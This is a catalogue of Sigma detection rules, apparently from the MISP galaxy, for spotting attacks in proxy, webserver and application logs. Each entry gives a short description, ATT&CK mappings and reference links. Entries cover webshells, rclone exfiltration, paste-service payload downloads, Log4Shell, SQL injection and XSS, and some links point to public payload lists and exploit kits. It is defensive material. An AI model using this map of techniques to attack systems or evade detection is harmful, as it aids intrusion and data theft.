https://networkraptor.blogspot.com/2015/01/user-agent-strings.html
http://www.botopedia.org/search?searchword=scan&searchphrase=all
https://perishablepress.com/blacklist/ua-2013.txt
https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents
https://twitter.com/kladblokje_88/status/1614673320124743681?s=12&t=joEpeVa5d58aHYNGA_To7Q
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_malware.yml

Crypto Miner User Agent

Detects suspicious user agent strings used by crypto miners in proxy logs

The tag is: *misp-galaxy:sigma-rules="Crypto Miner User Agent"*

View relationships graph

Crypto Miner User Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16814. Table References

Links
https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65
https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_cryptominer.yml

Potential Base64 Encoded User-Agent

Detects User Agent strings that end with an equal sign, which can be a sign of base64 encoding.

The tag is: *misp-galaxy:sigma-rules="Potential Base64 Encoded User-Agent"*

View relationships graph

Potential Base64 Encoded User-Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16815. Table References

Links
https://deviceatlas.com/blog/list-of-user-agent-strings#desktop
https://blogs.jpcert.or.jp/en/2022/07/yamabot.html
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_susp_base64.yml

Windows PowerShell User Agent

Detects Windows PowerShell Web Access

The tag is: *misp-galaxy:sigma-rules="Windows PowerShell User Agent"*

View relationships graph

Windows PowerShell User Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16816. Table References

Links
https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_powershell.yml

Rclone Activity via Proxy

Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string

The tag is: *misp-galaxy:sigma-rules="Rclone Activity via Proxy"*

View relationships graph

Rclone Activity via Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 16817. Table References

Links
https://rclone.org/
https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_rclone.yml

Suspicious Network Communication With IPFS

Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages.

The tag is: *misp-galaxy:sigma-rules="Suspicious Network Communication With IPFS"*

View relationships graph

Suspicious Network Communication With IPFS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 16818. Table References

Links
https://blog.talosintelligence.com/ipfs-abuse/
https://github.com/Cisco-Talos/IOCs/tree/80caca039988252fbb3f27a2e89c2f2917f582e0/2022/11
https://isc.sans.edu/diary/IPFS%20phishing%20and%20the%20need%20for%20correctly%20set%20HTTP%20security%20headers/29638
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_susp_ipfs_cred_harvest.yml

Download From Suspicious TLD - Whitelist

Detects executable downloads from suspicious remote systems

The tag is: *misp-galaxy:sigma-rules="Download From Suspicious TLD - Whitelist"*

View relationships graph

Download From Suspicious TLD - Whitelist has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16819. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_tlds_whitelist.yml

F5 BIG-IP iControl Rest API Command Execution - Proxy

Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP

The tag is: *misp-galaxy:sigma-rules="F5 BIG-IP iControl Rest API Command Execution - Proxy"*

View relationships graph

F5 BIG-IP iControl Rest API Command Execution - Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16820. Table References

Links
https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash
https://community.f5.com/t5/technical-forum/icontrolrest-11-5-execute-bash-command/td-p/203029
https://community.f5.com/t5/technical-forum/running-bash-commands-via-rest-api/td-p/272516
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_f5_tm_utility_bash_api_request.yml

Download from Suspicious Dyndns Hosts

Detects download of certain file types from hosts with dynamic DNS names (selected list)

The tag is: *misp-galaxy:sigma-rules="Download from Suspicious Dyndns Hosts"*

View relationships graph

Download from Suspicious Dyndns Hosts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"

Table 16821. Table References

Links
https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_dyndns.yml

PUA - Advanced IP/Port Scanner Update Check

Detect the update check performed by Advanced IP/Port Scanner utilities.

The tag is: *misp-galaxy:sigma-rules="PUA - Advanced IP/Port Scanner Update Check"*

View relationships graph

PUA - Advanced IP/Port Scanner Update Check has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Gather Victim Network Information - T1590" with estimative-language:likelihood-probability="almost-certain"

Table 16822. Table References

Links
https://www.advanced-ip-scanner.com/
https://www.advanced-port-scanner.com/
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_pua_advanced_ip_scanner_update_check.yml

APT User Agent

Detects suspicious user agent strings used in APT malware in proxy logs

The tag is: *misp-galaxy:sigma-rules="APT User Agent"*

View relationships graph

APT User Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16823. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_apt.yml

Suspicious Base64 Encoded User-Agent

Detects suspicious encoded User-Agent strings, as seen used by some malware.

The tag is: *misp-galaxy:sigma-rules="Suspicious Base64 Encoded User-Agent"*

View relationships graph

Suspicious Base64 Encoded User-Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16824. Table References

Links
https://deviceatlas.com/blog/list-of-user-agent-strings#desktop
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_base64_encoded.yml

Bitsadmin to Uncommon IP Server Address

Detects Bitsadmin connections to IP addresses instead of FQDN names

The tag is: *misp-galaxy:sigma-rules="Bitsadmin to Uncommon IP Server Address"*

View relationships graph

Bitsadmin to Uncommon IP Server Address has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 16825. Table References

Links
https://isc.sans.edu/diary/Microsoft+BITS+Used+to+Download+Payloads/21027
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_ip.yml

Flash Player Update from Suspicious Location

Detects a flashplayer update from an unofficial location

The tag is: *misp-galaxy:sigma-rules="Flash Player Update from Suspicious Location"*

View relationships graph

Flash Player Update from Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 16826. Table References

Links
https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_susp_flash_download_loc.yml

Hack Tool User Agent

Detects suspicious user agent strings user by hack tools in proxy logs

The tag is: *misp-galaxy:sigma-rules="Hack Tool User Agent"*

View relationships graph

Hack Tool User Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 16827. Table References

Links

https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb
http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_hacktool.yml

HTTP Request With Empty User Agent

Detects a potentially suspicious empty user agent strings in proxy log. Could potentially indicate an uncommon request method.

The tag is: *misp-galaxy:sigma-rules="HTTP Request With Empty User Agent"*

View relationships graph

HTTP Request With Empty User Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16828. Table References

Links
https://twitter.com/Carlos_Perez/status/883455096645931008
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_empty.yml

PwnDrp Access

Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity

The tag is: *misp-galaxy:sigma-rules="PwnDrp Access"*

View relationships graph

PwnDrp Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"

Table 16829. Table References

Links
https://breakdev.org/pwndrop/

https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_pwndrop.yml

Raw Paste Service Access

Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form

The tag is: *misp-galaxy:sigma-rules="Raw Paste Service Access"*

View relationships graph

Raw Paste Service Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"

Table 16830. Table References

Links
https://www.virustotal.com/gui/domain/paste.ee/relations
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_raw_paste_service_access.yml

Telegram API Access

Detects suspicious requests to Telegram API without the usual Telegram User-Agent

The tag is: *misp-galaxy:sigma-rules="Telegram API Access"*

View relationships graph

Telegram API Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

Table 16831. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/

https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_telegram_api.yml

Nginx Core Dump

Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.

The tag is: *misp-galaxy:sigma-rules="Nginx Core Dump"*

View relationships graph

Nginx Core Dump has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"

Table 16832. Table References

Links
https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps
https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/
https://github.com/SigmaHQ/sigma/tree/master/rules/web/product/nginx/web_nginx_core_dump.yml

Apache Threading Error

Detects an issue in apache logs that reports threading related errors

The tag is: *misp-galaxy:sigma-rules="Apache Threading Error"*

View relationships graph

Apache Threading Error has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 16833. Table References

Links
https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md

https://github.com/SigmaHQ/sigma/tree/master/rules/web/product/apache/web_apache_threading_error.yml

Apache Segmentation Fault

Detects a segmentation fault error message caused by a crashing apache worker process

The tag is: *misp-galaxy:sigma-rules="Apache Segmentation Fault"*

View relationships graph

Apache Segmentation Fault has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"

Table 16834. Table References

Links
http://www.securityfocus.com/infocus/1633
https://github.com/SigmaHQ/sigma/tree/master/rules/web/product/apache/web_apache_segfault.yml

Source Code Enumeration Detection by Keyword

Detects source code enumeration that use GET requests by keyword searches in URL strings

The tag is: *misp-galaxy:sigma-rules="Source Code Enumeration Detection by Keyword"*

View relationships graph

Source Code Enumeration Detection by Keyword has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 16835. Table References

Links
https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html
https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_source_code_enumeration.yml

Java Payload Strings

Detects possible Java payloads in web access logs

The tag is: *misp-galaxy:sigma-rules="Java Payload Strings"*

View relationships graph

Java Payload Strings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16836. Table References

Links
https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md
https://medium.com/geekculture/text4shell-exploit-walkthrough-ebc02a01f035
https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/
https://twitter.com/httpvoid0x2f/status/1532924261035384832
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_java_payload_in_access_logs.yml

Webshell ReGeorg Detection Via Web Logs

Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.

The tag is: *misp-galaxy:sigma-rules="Webshell ReGeorg Detection Via Web Logs"*

View relationships graph

Webshell ReGeorg Detection Via Web Logs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 16837. Table References

Links
https://github.com/sensepost/reGeorg
https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3

https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_webshell_regeorg.yml

JNDIExploit Pattern

Detects exploitation attempt using the JNDI-Exploit-Kit

The tag is: *misp-galaxy:sigma-rules="JNDIExploit Pattern"*

View relationships graph

JNDIExploit Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16838. Table References

Links
https://github.com/pimps/JNDI-Exploit-Kit
https://web.archive.org/web/20231015205935/https://githubmemory.com/repo/FunctFan/JNDIExploit
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_jndi_exploit.yml

Cross Site Scripting Strings

Detects XSS attempts injected via GET requests in access logs

The tag is: *misp-galaxy:sigma-rules="Cross Site Scripting Strings"*

View relationships graph

Cross Site Scripting Strings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

Table 16839. Table References

Links
https://github.com/payloadbox/xss-payload-list
https://portswigger.net/web-security/cross-site-scripting/contexts
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_xss_in_access_logs.yml

Suspicious User-Agents Related To Recon Tools

Detects known suspicious (default) user-agents related to scanning/recon tools

The tag is: *misp-galaxy:sigma-rules="Suspicious User-Agents Related To Recon Tools"*

View relationships graph

Suspicious User-Agents Related To Recon Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16840. Table References

Links
https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst
https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92
https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_susp_useragents.yml

Server Side Template Injection Strings

Detects SSTI attempts sent via GET requests in access logs

The tag is: *misp-galaxy:sigma-rules="Server Side Template Injection Strings"*

View relationships graph

Server Side Template Injection Strings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

Table 16841. Table References

Links
https://github.com/payloadbox/ssti-payloads
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_ssti_in_access_logs.yml

F5 BIG-IP iControl Rest API Command Execution - Webserver

Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP

The tag is: *misp-galaxy:sigma-rules="F5 BIG-IP iControl Rest API Command Execution - Webserver"*

View relationships graph

F5 BIG-IP iControl Rest API Command Execution - Webserver has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16842. Table References

Links
https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash
https://community.f5.com/t5/technical-forum/icontrolrest-11-5-execute-bash-command/td-p/203029
https://community.f5.com/t5/technical-forum/running-bash-commands-via-rest-api/td-p/272516
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_f5_tm_utility_bash_api_request.yml

Windows Webshell Strings

Detects common commands used in Windows webshells

The tag is: *misp-galaxy:sigma-rules="Windows Webshell Strings"*

View relationships graph

Windows Webshell Strings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 16843. Table References

Links
https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
https://bad-jubies.github.io/RCE-NOW-WHAT/
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_win_webshells_in_access_logs.yml

SQL Injection Strings In URI

Detects potential SQL injection attempts via GET requests in access logs.

The tag is: *misp-galaxy:sigma-rules="SQL Injection Strings In URI"*

View relationships graph

SQL Injection Strings In URI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16844. Table References

Links
https://brightsec.com/blog/sql-injection-payloads/
https://github.com/payloadbox/sql-injection-payload-list
https://book.hacktricks.xyz/pentesting-web/sql-injection/mysql-injection
https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/
https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_sql_injection_in_access_logs.yml

Path Traversal Exploitation Attempts

Detects path traversal exploitation attempts

The tag is: *misp-galaxy:sigma-rules="Path Traversal Exploitation Attempts"*

View relationships graph

Path Traversal Exploitation Attempts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16845. Table References

Links
https://book.hacktricks.xyz/pentesting-web/file-inclusion
https://github.com/projectdiscovery/nuclei-templates
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_path_traversal_exploitation_attempt.yml

Suspicious Windows Strings In URI

Detects suspicious Windows strings in URI which could indicate possible exfiltration or webshell communication

The tag is: *misp-galaxy:sigma-rules="Suspicious Windows Strings In URI"*

View relationships graph

Suspicious Windows Strings In URI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 16846. Table References

Links
https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_susp_windows_path_uri.yml

Successful IIS Shortname Fuzzing Scan

When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol "~"

The tag is: *misp-galaxy:sigma-rules="Successful IIS Shortname Fuzzing Scan"*

View relationships graph

Successful IIS Shortname Fuzzing Scan has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16847. Table References

Links
https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml
https://www.exploit-db.com/exploits/19525
https://github.com/lijiejie/IIS_shortname_Scanner
https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_iis_tilt_shortname_scan.yml

Python SQL Exceptions

Generic rule for SQL exceptions in Python according to PEP 249

The tag is: *misp-galaxy:sigma-rules="Python SQL Exceptions"*

View relationships graph

Python SQL Exceptions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16848. Table References

Links
https://www.python.org/dev/peps/pep-0249/#exceptions
https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml

Potential JNDI Injection Exploitation In JVM Based Application

Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.

The tag is: *misp-galaxy:sigma-rules="Potential JNDI Injection Exploitation In JVM Based Application"*

View relationships graph

Potential JNDI Injection Exploitation In JVM Based Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16849. Table References

Links
https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
https://secariolabs.com/research/analysing-and-reproducing-poc-for-log4j-2-15-0
https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_jndi_injection_exploitation_attempt.yml

Process Execution Error In JVM Based Application

Detects process execution related exceptions in JVM based apps, often relates to RCE

The tag is: *misp-galaxy:sigma-rules="Process Execution Error In JVM Based Application"*

View relationships graph

Process Execution Error In JVM Based Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16850. Table References

Links
https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_rce_exploitation_attempt.yml

Potential XXE Exploitation Attempt In JVM Based Application

Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.

The tag is: *misp-galaxy:sigma-rules="Potential XXE Exploitation Attempt In JVM Based Application"*

View relationships graph

Potential XXE Exploitation Attempt In JVM Based Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16851. Table References

Links
https://rules.sonarsource.com/java/RSPEC-2755
https://owasp.org/www-community/vulnerabilities/XML_External_Entity(XXE)_Processing
https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_xxe_exploitation_attempt.yml

Potential Local File Read Vulnerability In JVM Based Application

Detects potential local file read vulnerability in JVM based apps. If the exceptions are caused due to

user input and contain path traversal payloads then it's a red flag.

The tag is: *misp-galaxy:sigma-rules="Potential Local File Read Vulnerability In JVM Based Application"*

View relationships graph

Potential Local File Read Vulnerability In JVM Based Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16852. Table References

Links
https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_local_file_read.yml

Potential OGNL Injection Exploitation In JVM Based Application

Detects potential OGNL Injection exploitation, which may lead to RCE. OGNL is an expression language that is supported in many JVM based systems. OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)

The tag is: *misp-galaxy:sigma-rules="Potential OGNL Injection Exploitation In JVM Based Application"*

View relationships graph

Potential OGNL Injection Exploitation In JVM Based Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16853. Table References

Links
https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_ognl_injection_exploitation_attempt.yml

Potential SpEL Injection In Spring Framework

Detects potential SpEL Injection exploitation, which may lead to RCE.

The tag is: *misp-galaxy:sigma-rules="Potential SpEL Injection In Spring Framework"*

View relationships graph

Potential SpEL Injection In Spring Framework has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16854. Table References

Links
https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/spring_spel_injection.yml

Spring Framework Exceptions

Detects suspicious Spring framework exceptions that could indicate exploitation attempts

The tag is: *misp-galaxy:sigma-rules="Spring Framework Exceptions"*

View relationships graph

Spring Framework Exceptions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16855. Table References

Links
https://docs.spring.io/spring-security/site/docs/current/api/overview-tree.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/spring_application_exceptions.yml

Ruby on Rails Framework Exceptions

Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts

The tag is: *misp-galaxy:sigma-rules="Ruby on Rails Framework Exceptions"*

View relationships graph

Ruby on Rails Framework Exceptions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16856. Table References

Links
http://guides.rubyonrails.org/action_controller_overview.html
https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception
https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
http://edgeguides.rubyonrails.org/security.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml

Github Push Protection Disabled

Detects if the push protection feature is disabled for an organization, enterprise, repositories or custom pattern rules.

The tag is: *misp-galaxy:sigma-rules="Github Push Protection Disabled"*

View relationships graph

Github Push Protection Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16857. Table References

Links
https://thehackernews.com/2024/03/github-rolls-out-default-secret.html
https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_push_protection_disabled.yml

GitHub Repository Archive Status Changed

Detects when a GitHub repository is archived or unarchived, which may indicate unauthorized changes to repository status.

The tag is: *misp-galaxy:sigma-rules="GitHub Repository Archive Status Changed"*

Table 16858. Table References

Links
https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/security-log-events

https://www.sentinelone.com/blog/exploiting-repos-6-ways-threat-actors-abuse-github-other-devops-platforms
